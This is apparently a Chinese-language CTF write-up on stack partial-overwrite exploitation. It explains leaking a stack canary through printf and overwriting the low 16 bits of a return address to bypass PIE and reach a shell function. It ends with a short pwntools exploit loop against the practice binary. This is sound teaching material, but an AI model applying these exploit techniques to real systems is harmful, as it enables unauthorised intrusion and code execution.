花式栈溢出技巧----partial overwrite
学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite
https://bbs.ichunqiu.com/thread-43627-1-1.html
https://www.jianshu.com/p/c3624f5dd583
partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想
我们知道, 在程序开启了 PIE 保护时 (PIE enabled) 高位的地址会发生随机化, 用来由于受到堆栈和libc地址可预测的困扰,但低位的偏移是始终固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护
那么就清楚了,这种绕过方法是主要争对PIE保护的,partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术
打开给的例子
拖进IDA找栈溢出漏洞
第一个read函数可以恶意溢出,第二个read函数百分之百溢出
搜字符串可以搜到我们想要的,同时文件中也包含system函数
可以发现先直接调用函数A3E就好,只要把rip改过去就好
在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了
那咋办,这里从大佬那里看到了printf函数的小技巧
printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值, canary 就可以被 printf 打印出来了,我们把低位数据改一改就可以
研究一波怎么改
先是打断点就已经坑到我了,因为有PIE保护,后来听大佬的方法是先把程序打断点打炸,然后再vmmap,然后重打断点,重新运行才行
汇编代码可以看见buf的地址放在rsi上
输入a的话低位肯定是0x61是非0的
Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置, 如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序
这样只要接收'a' * (0x30 - 0x8 + 1) 后的 7 位, 再加上最低位的 '\0', 我们就恢复出程序的 canary 了,为啥是七位呢,因为cannary低位是\x00,printf不就停止输出了么,那我们干脆只要七位好了
第二次read的时候我们可以观察到返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为 0x0A3E
, 就有一定的几率 get shell,那我们不断循环直到成功就好了
exp
while True:
try:
payload='a'*(0x30-0x08+1)
cn.recvuntil('Input your Name:')
cn.send(payload)
cn.recvuntil('a'*(0x30-0x08+1))
canary = '\0' + cn.recvn(7)
success(canary.encode('hex'))
cn.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
cn.interactive()
except Exception as e:
cn.close()
print e